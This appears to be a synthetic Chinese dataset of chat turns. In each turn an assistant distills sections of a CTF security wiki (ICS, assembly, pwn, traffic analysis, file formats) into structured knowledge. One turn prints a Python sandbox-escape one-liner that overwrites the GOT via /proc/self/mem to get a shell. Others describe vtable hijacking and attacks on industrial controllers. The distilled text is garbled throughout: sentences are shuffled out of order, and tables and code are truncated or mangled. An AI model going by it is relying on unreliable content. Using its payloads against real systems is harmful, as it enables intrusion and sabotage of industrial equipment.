[User] 将 `docs/ics/discover.md` 中的章节「基于工控端口的信息扫描脚本」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/discover.md`
标题：ICS_CTF 发现
章节：ICS_CTF 发现 > 工控扫描脚本 > 基于工控端口的信息扫描脚本
路径分类：ics / ics/discover.md
分块：1/1

核心知识点：
- 本节主题围绕“基于工控端口的信息扫描脚本”展开。
- 在大量IP中如何发现工控设备,除了工控特殊端口意外，大量端口都是正常服务，例如ftp、ssh、telnet、smtp、ntp等正常网络服务。

关键术语：
- 漏洞利用
- ics
- discover.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基于工控端口的信息扫描脚本

ICS_CTF 发现
工控扫描脚本
基于工控端口的信息扫描脚本

ICS_CTF 发现


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「寄存器使用一览」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x04 调用规约 > 寄存器使用一览
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“寄存器使用一览”展开。
- | 类型 | 名称 | 用途 | 由谁保存 | |----------------|------------|------------------------------|-----------------| | x1 | ra | 返回地址 | 调用者（caller）| | x2 | sp | 栈指针 | 被调用者（callee）| | x8 | s0 / fp | 帧指针 / 保存寄存器 | 被调用者 | | x10–x17 | a0–a7 | 参数 / 返回值寄存器 | 调用者 | | x5–x7, x...
- > 注意 sp, ra 寄存器严格来说不属于 草稿/保留 寄存器分类，对这两个寄存器的处理多以callee保存为实现。与此同时还有 gp 等寄存器不属于这个范畴。

关键术语：
- 栈
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

寄存器使用一览

Risc-V
0x04 调用规约
寄存器使用一览

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/arm/readme.md` 中的章节「3. BX带状态切换的跳转指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/arm/readme.md`
标题：ARM
章节：ARM > 2. 指令集 > 2.跳转指令 > 3. BX带状态切换的跳转指令
路径分类：assembly / assembly/arm/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“3. BX带状态切换的跳转指令”展开。
- `` 结构 BX{cond}Rm 当执行BX指令时，如果条件满足，会判断Rm寄存器的位[0]是否为1，如果是1则会在跳转时自动将CPSR寄存器的T标志位置为1,并将目标位置处的指令解析为Thumb指令，相反，若Rm寄存器的位[0]为0，则将CPSR寄存器的T标志位复位，同时将目标位置的指令解析为arm指令。
- ` 如下: ` ADR R0, thumbcode + 1 BX R0 @跳转到thumbcode。
- 并且处理器运行为thumb模式 thumbcode: .code 16 ``

关键术语：
- assembly
- arm
- readme.md

代码/命令片段线索：
- plain: 2 行，首行 `结构 BX{cond}Rm`
- plain: 4 行，首行 `ADR R0, thumbcode + 1`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

3. BX带状态切换的跳转指令

ARM
2. 指令集
2.跳转指令
3. BX带状态切换的跳转指令

ARM


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`
标题：伪造vtable劫持程序流程
章节：伪造vtable劫持程序流程 > 简介
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- 前面我们介绍了Linux中文件流的特性（FILE），我们可以得知Linux中的一些常见的IO操作函数都需要经过FILE结构进行处理。
- 因此vtable劫持分为两种，一种是直接改写vtable中的函数指针，通过任意地址写就可以实现。
- 尤其是_IO_FILE_plus结构中存在vtable，一些函数会取出vtable中的指针进行调用。
- 因此伪造vtable劫持程序流程的中心思想就是针对_IO_FILE_plus的vtable动手脚，通过把vtable指向我们控制的内存，并在其中布置函数指针来实现。
- 另一种是覆盖vtable的指针指向我们控制的内存，然后在其中布置函数指针。

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- io-file

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

伪造vtable劫持程序流程 简介

伪造vtable劫持程序流程


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/mips/readme.md` 中的章节「0x2 指令 Instruction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/mips/readme.md`
标题：MIPS
章节：MIPS > 0x2 指令 Instruction
路径分类：assembly / assembly/mips/readme.md
分块：4/4

核心知识点：
- 本节主题围绕“0x2 指令 Instruction”展开。
- | | Syntax: | sw $t, offset($s) | | Encoding: | 1010 11ss ssst tttt iiii iiii iiii iiii | SYSCALL -- System call | Description: | Generates a software interrupt. | | ------------ | ----------------------------------------- | | Operation: | advance_pc (4);
- | | Syntax: | xori $t, $s, imm | | Encoding: | 0011 10ss ssst tttt iiii iiii iiii iiii |
- UBU -- Subtract unsigned | Description: | Subtracts two registers and stores the result in a register | | ------------ | ----------------------------------------------------------- | | Operation: | $d = $s - $t;
- | | Syntax: | subu $d, $s, $t | | Encoding: | 0000 00ss ssst tttt dddd d000 0010 0011 | SW -- Store word | Description: | The contents of $t is stored at the specified address. | | ------------ | ------------------------------------------------------ | | Op...
- | | Syntax: | syscall | | Encoding: | 0000 00-- ---- ---- ---- ---- --00 1100 | XOR -- Bitwise exclusive or | Description: | Exclusive ors two registers and stores the result in a register | | ------------ | -------------------------------------------------...

关键术语：
- assembly
- mips
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

0x2 指令 Instruction

MIPS


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/ctfs.md` 中的章节「工控协议（Protocol）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/ctfs.md`
标题：ICS_CTF 竞赛
章节：ICS_CTF 竞赛 > 工控协议（Protocol）
路径分类：ics / ics/ctfs.md
分块：1/1

核心知识点：
- 本节主题围绕“工控协议（Protocol）”展开。
- 题目特点介绍： - 工控协议针对工控场景设计，具有简单、高效、低延时等特点，所以针对此类的攻击完全可以考虑采用重放、命令注入等简单攻击手段。
- 工控协议可能导致目标 PLC、DCS、RTU 等设备出现宕机、不可重启等问题，采用基于 Fuzz 的方法可以快速高效发现 PLC 宕机类漏洞。
- 工控协议不仅仅采用公开协议、还包括众多的私有协议，这部分协议具体细节需要逆向或者采集数据来实现数据功能的还原。
- 工控协议中可能有众多针对 PLC 等设备的操作，用户需要区分哪些是合法请求、哪些是异常请求，这需要经验，需要研究推断当前流量的使用逻辑。
- 这个场景很适合机器学习的条件，这可以考虑是个探索的方向。

关键术语：
- 漏洞利用
- ics
- ctfs.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

工控协议（Protocol）

ICS_CTF 竞赛


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「For X11」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：pwn-related tools > 将 Docker 容器接入本地图形界面 > For X11
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“For X11”展开。
- 对于使用 X11 图形服务的，在创建容器时我们则需要附加如下参数： ``shell $ docker run \ -d \ -p "25000:22" \ --name=pwn24 \ -v ~/Desktop/CTF:/CTF \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e DISPLAY=$DISPLAY \ pwnenv_ubuntu24 ` 之后在运行 gdb.attach() 之前运行如下 python 语句之一进行配置即可，请根据自己所使用的桌面环境进行选择。
- `python context.terminal = ['konsole', '-e', 'sh', '-c'] # for KDE context.terminal = ['gnome-terminal', '-e', 'sh', '-c'] # for Gnome `` > 参考 Running pwnlib gdb (pwntools) feature inside Docker 。

关键术语：
- pwn
- linux
- user-mode
- environment.md
- code:shell
- code:python

代码/命令片段线索：
- shell: 8 行，首行 `$ docker run \`
- python: 2 行，首行 `context.terminal = ['konsole', '-e', 'sh', '-c'] # for KDE`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

For X11

pwn-related tools
将 Docker 容器接入本地图形界面
For X11

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/fix.md` 中的章节「Interface Description Block(接口描述)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/fix.md`
标题：PCAP 文件修复
章节：PCAP 文件修复 > 常见块 > Interface Description Block(接口描述)
路径分类：misc / misc/traffic/fix.md
分块：1/1

核心知识点：
- 本节主题围绕“Interface Description Block(接口描述)”展开。
- ``shell 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | LinkType | Reserved | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | SnapLen(每个数据包最大字节数)...

关键术语：
- misc
- traffic
- fix.md
- code:shell

代码/命令片段线索：
- shell: 11 行，首行 `0 1 2 3`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Interface Description Block(接口描述)

PCAP 文件修复
常见块
Interface Description Block(接口描述)

PCAP 文件修复


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/ctfs.md` 中的章节「题目示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/ctfs.md`
标题：ICS_CTF 竞赛
章节：ICS_CTF 竞赛 > 工控协议（Protocol） > 题目示例
路径分类：ics / ics/ctfs.md
分块：1/1

核心知识点：
- 本节主题围绕“题目示例”展开。
- 题目名字：mms.pacp 这是一道关于 MMS 协议分析的题目，当拿到文件时使用 Wireshark 打开文件（部分题目需要使用 tcpdump 打开） [图片: mms;
- 文件: ./figure/mms_1.png] 可以看到题目中出现了 MMS 字样，这是变电站 IEC61850 标准中的协议，在做题前应该熟悉该协议的层次结构以及功能码（尤其是握手包、读写功能包）。
- 文件: ./figure/mms_2.png] 可以看到在第 1764 条报文中有 flag.txt，功能码是 fileDirectory，所以猜测会使用 fileopen 来进行打开，对这个功能码的请求报文进行过滤 [图片: mms;
- 文件: ./figure/mms_3.png] 可以发现在 1764 之后的第 1771、1798、1813、4034 条报文都对 flag.txt 进行了打开操作。
- 文件: ./figure/mms_4.png] 内容是一张 base64 编码的图片，对其进行解码就可以得到对应的 FLAG 内容。

关键术语：
- ics
- ctfs.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目示例

ICS_CTF 竞赛


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「（4）存储指令（S 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x03 常见指令 > （4）存储指令（S 型）
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“（4）存储指令（S 型）”展开。
- | 指令 | 含义 | 示例 | 说明 | |--------|--------------------|------------------------|----------------------------| | sb | 存储字节 | sb x5, 0(x1) | 仅存 1 字节 | | sh | 存储半字（16 位） | sh x5, 2(x1) | | | sw | 存储字（32 位） | sw x5, 4(x1) | RV32 和 RV64 共用 | | sd | 存储双字（64 位） | sd...

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

（4）存储指令（S 型）

Risc-V
0x03 常见指令
（4）存储指令（S 型）

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/data.md` 中的章节「确定数据」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/data.md`
标题：数据提取
章节：数据提取 > 自定义协议 > 例题分析 > 确定数据
路径分类：misc / misc/traffic/data.md
分块：1/1

核心知识点：
- 本节主题围绕“确定数据”展开。
- 由前述 tshark 相关介绍，可以通过以下命令提取数据： tshark -r .\ev3_basic.pklg -T fields -e data -Y "btrfcomm"
- 简单浏览其余各个协议的流量，发现仅 RFCOMM 协议中存在没有被 wireshark 解析的 data 段，而 RFCOMM 正是蓝牙使用的传输层协议)之一。
- 观察流量，通讯双方为 localhost 和 LegoSystem 。
- 其中大量标为 PKTLOG 的数据包都是日志，此题中不需关注。

关键术语：
- misc
- traffic
- data.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定数据

数据提取 自定义协议 例题分析 确定数据

数据提取


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/false-disasm.md` 中的章节「运行时计算跳转地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/false-disasm.md`
标题：False Disassembly
章节：False Disassembly > 运行时计算跳转地址
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“运行时计算跳转地址”展开。
- ` 程序通过call+pop来获取调用函数当时保存到栈上的返回地址, 其实就是调用函数前的EIP. 然后在函数返回处塞入垃圾数据. 但实际上在函数运行时已经将返回地址修改到了Code处. 因此earth函数返回会跳转到Code处继续运行，而不是Return处继续运行. 来看一个简易的demo ` ;
- 这种方法, 甚至可以对抗分析控制流的反汇编器. 我们可以看一个示例代码, 更好地理解: `` ;
- 实际上并没有能够保证100%`准确反汇编的工具, 当反汇编器做到代码模拟执行的时候也许能做到完全正确的汇编. 在现实情况, 这并不是特别大的问题. 因为针对交互性反汇编器. 你是可以指定代码起始的位置. 而且当调试的时候, 也能很好的看明白程序实际跳转的地址. 所以此时我们除开需要静态分析, 也需要动态调试. > Reference: Beginners Guide to Basic Linux Anti Anti Debugging Techniques
- x instructions or random bytes here x byte(s) earth: ;
- start of function: get return address ( Return ) 1 byte ;

关键术语：
- 栈
- reverse
- platform
- linux
- false-disasm.md

代码/命令片段线索：
- plain: 15 行，首行 `; ----------------------------------------------------------------------------`
- plain: 18 行，首行 `; ----------------------------------------------------------------------------`
- plain: 7 行，首行 `00000000 <earth-0x5>:`
- plain: 22 行，首行 `text:08000000 ; Segment permissions: Read/Execute`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

运行时计算跳转地址

栈 reverse platform linux false-disasm.md

False Disassembly


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ics/discover.md` 中的章节「Censys 全网引擎」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ics/discover.md`
标题：ICS_CTF 发现
章节：ICS_CTF 发现 > 工控扫描与发现引擎 > Censys 全网引擎
路径分类：ics / ics/discover.md
分块：1/1

核心知识点：
- 本节主题围绕“Censys 全网引擎”展开。
- 各类漏洞引擎内容不同，采取配置、部署节点等存在较大的差异，目前针对工控这块的搜索引擎以shodan和ditecting更为专业，但是从针对端口来看，各个引擎宣称的公布检索方式不尽相同。
- Censys由因特网范围扫描驱动，它使得研究人员能够找到特定的主机，并能够针将设备、网站和证书的配置和部署信息创建到一个总体报告中。
- Censys是一款搜索引擎，它允许计算机科学家了解组成互联网的设备和网络。

关键术语：
- 漏洞利用
- ics
- discover.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Censys 全网引擎

ICS_CTF 发现
工控扫描与发现引擎
Censys 全网引擎

ICS_CTF 发现


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/environment.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/environment.md`
标题：简介
章节：简介
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- 需要注意的是，在初学阶段我们并不推荐任何基于 pwntools 进行过度二次包装的软件包，也不推荐你在利用脚本中使用 lambda 语句进行过度简化，我们更推荐你在学习到一定程度后再去根据个人使用习惯进行决定。
- Python + pwntools：用于编写漏洞利用脚本。
- 现有的 CTF Pwn 题主要以 Linux 下的用户态 Pwn 为主，因此我们通常需要在本地拥有一个 Linux 运行环境，这通常可以通过安装 Linux 虚拟机来完成，此外你也可以在物理机上安装 Linux 操作系统。
- 绝大多数 Linux Pwn 题目的远程环境以 Ubuntu 为主，因此为了方便在本地调试题目，你通常需要搭建一个与题目版本相匹配的 Ubuntu 运行环境，不过 _这并不意味着你必须要使用 Ubuntu 作为你的主力操作系统_ 。
- 你仍旧可以选择继续使用你喜欢的其他 Linux 发行版（如，Gentoo、openSUSE、Debian、Fedora、Arch、NixOS 等），并使用 Docker 来搭建相应的 Ubuntu 做题环境。

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- environment.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/protocols/wifi.md` 中的章节「WPA-PSK」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/protocols/wifi.md`
标题：WIFI
章节：WIFI > WPA-PSK
路径分类：misc / misc/traffic/protocols
分块：1/1

核心知识点：
- 本节主题围绕“WPA-PSK”展开。
- 请求者回复消息2给验证器,还有一个MIC（message integrity code，消息验证码）作为PMK的验证 3. 它先要验证请求者在消息2中发来的MIC等信息，验证成功后，如果需要就生成GTK。
- 4次握手开始于验证器(AP)，它产生一个随机的值(ANonce)发送给请求者 2. 请求者也产生了它自己的随机SNonce，然后用这两个Nonces以及PMK生成了PTK。
- 文件: ./figure/wpa-psk.png] 其中四次握手过程 [图片: eapol;
- 然后发送消息3 4. 请求者收到消息3，验证MIC，安装密钥，发送消息4，一个确认信息。
- 文件: ./figure/eapol.png] 1.

关键术语：
- misc
- traffic
- protocols
- wifi.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

WPA-PSK

WIFI


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/data.md` 中的章节「分析协议」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/data.md`
标题：数据提取
章节：数据提取 > 自定义协议 > 例题分析 > 分析协议
路径分类：misc / misc/traffic/data.md
分块：1/1

核心知识点：
- 本节主题围绕“分析协议”展开。
- 此处需要注意乐高的单个参数字节数并不固定，即便手册上标明了数据类型是 DATA16 ，仍然可能使用一个字节长度的参数，需要参照手册中 Parameter encoding 一节及相关文章。
- 如何查找资料可以参考 信息搜集技术 一节，此处不再赘述。
- 总之由 ev3 这个关键词出发，我们最终知道这种通信方式传输的内容被称之为 Direct Command，所使用的是乐高自定义的一种简单应用层协议，Command 本身格式由乐高的手册 EV3 Firmware Developer Kit 定义。
- 在 ev3 basic 中，所有回复流量都相同，通过手册可知内容代表 ok ，没有实际含义，而发送的每个数据包都包含了一条指令。
- 由协议格式解析出指令的 Opcode 均为 0x84 ，代表 UI_DRAW 函数，且 CMD 是 0x05 ，代表 TEXT 。

关键术语：
- misc
- traffic
- data.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析协议

数据提取 自定义协议 例题分析 分析协议

数据提取


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「write修改got表」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`
标题：Python 沙盒
章节：Python 沙盒 > Python 沙箱逃逸的一些方法 > write修改got表
路径分类：pwn / pwn/sandbox/python
分块：1/1

核心知识点：
- 本节主题围绕“write修改got表”展开。
- 实际上是一个 /proc/self/mem 的内存操作方法 /proc/self/mem 是内存镜像，能够通过它来读写到进程的所有内存，包括可执行代码，如果我们能获取到Python一些函数的偏移，如 system ，我们便可以通过覆写 got 表达到 getshell的目的。
- ``py (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()40)(().__class__.__bases__[0].__subclasses__()40,().__class__.__bases__[0].__subclasses__()40) `` 第一个地址是 system 的偏移，第二个是fopen的偏移，我们可以通...

关键术语：
- pwn
- sandbox
- python
- python-sandbox-escape.md
- code:py

代码/命令片段线索：
- py: 1 行，首行 `(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__(...`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

write修改got表

Python 沙盒


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「静态检测」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`
标题：Race Condition
章节：给管道传输数据 > 检测 > 静态检测
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 目前已知的静态检测工具有 - Flawfinder - 目标：C/C++源码 - 步骤 - 建立漏洞数据库 - 进行简单的文本模式匹配，没有任何的数据流或控制流分析 - ThreadSanitizer - 目标：C++和GO - 实现：LLVM

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- race-condition

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

静态检测

给管道传输数据 检测 静态检测

Race Condition


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/picture/png.md` 中的章节「其余辅助数据块」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/picture/png.md`
标题：PNG
章节：PNG > 文件格式 > 其余辅助数据块
路径分类：misc / misc/picture/png.md
分块：1/1

核心知识点：
- 本节主题围绕“其余辅助数据块”展开。
- - 背景颜色数据块 bKGD（background color） - 基色和白色度数据块 cHRM（primary chromaticities and white point），所谓白色度是指当 R＝G＝B＝最大值 时在显示器上产生的白色度 - 图像 γ 数据块 gAMA（image gamma） - 图像直方图数据块 hIST（image histogram） - 物理像素尺寸数据块 pHYs（physical pixel dimensions） - 样本有效位数据块 sBIT（significant b...

关键术语：
- misc
- picture
- png.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

其余辅助数据块

PNG 文件格式 其余辅助数据块

PNG


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/risc-v/readme.md` 中的章节「0x01 架构特点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/risc-v/readme.md`
标题：Risc-V
章节：Risc-V > 0x01 架构特点
路径分类：assembly / assembly/risc-v/readme.md
分块：1/1

核心知识点：
- 本节主题围绕“0x01 架构特点”展开。
- 例如，最基本的指令集包括 RV32I 和 RV64I，而可选的扩展则覆盖了乘除法（M）、原子操作（A）、浮点运算（F、D）、压缩指令（C）以及适用于高性能计算的向量指令集（V）等。
- 该架构支持多种位宽，包括 32 位（RV32）、64 位（RV64）以及未来预留的 128 位（RV128）模式，从而满足从嵌入式系统到高性能服务器等多样化应用场景。
- RISC-V 还明确区分了处理器的特权级别，定义了用户态（U-mode）、监督态（S-mode）和机器态（M-mode），为操作系统的运行和安全机制提供了良好的支撑。
- RISC-V 是一种新兴的开放指令集架构（ISA），具有高度的灵活性和可扩展性。
- 它以模块化设计为核心理念，允许开发者根据实际需求选择不同的扩展模块来构建处理器。

关键术语：
- assembly
- risc-v
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

0x01 架构特点

Risc-V


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

